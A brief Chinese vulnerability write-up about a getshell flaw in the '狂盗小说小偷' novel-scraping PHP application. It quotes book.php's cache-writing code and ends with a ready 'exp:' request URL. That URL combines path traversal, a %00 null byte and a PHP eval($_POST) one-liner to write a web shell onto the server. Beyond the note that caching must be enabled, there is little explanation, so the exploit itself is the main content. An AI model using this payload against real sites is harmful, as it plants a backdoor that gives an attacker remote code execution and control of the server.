狂盗小说小偷getshell漏洞

必须开启缓存才能利用
先看代码
book.php
$kd_cachedir = "./cache"; 
if($kd_book_cache=="ture"){//缓存必须开启
   $lastflesh = @filemtime($kd_cachedir."/book$shuid.html");
  // echo $lastflesh;
     if(!file_exists("./cache/book$shuid.html") or ($lastflesh + ($kd_book_hctime * 60 * 60) <= time())){
           ob_start();     
              include "./templates/$kd_moban/book.html";
              $mianfei = ob_get_contents();
              ob_end_clean();
                  file_put_contents("./cache/book$shuid.html",$mianfei); 
                 echo file_get_contents($kd_cachedir."/book$shuid.html");
          }else{
                     echo file_get_contents("./cache/book$shuid.html");

                  }
      }else{
            include "./templates/$kd_moban/book.html";
          }

?>
exp:http://www.hack1990.com /book.php?id=/../../1.php%00“><?php eval($_POST[a])?>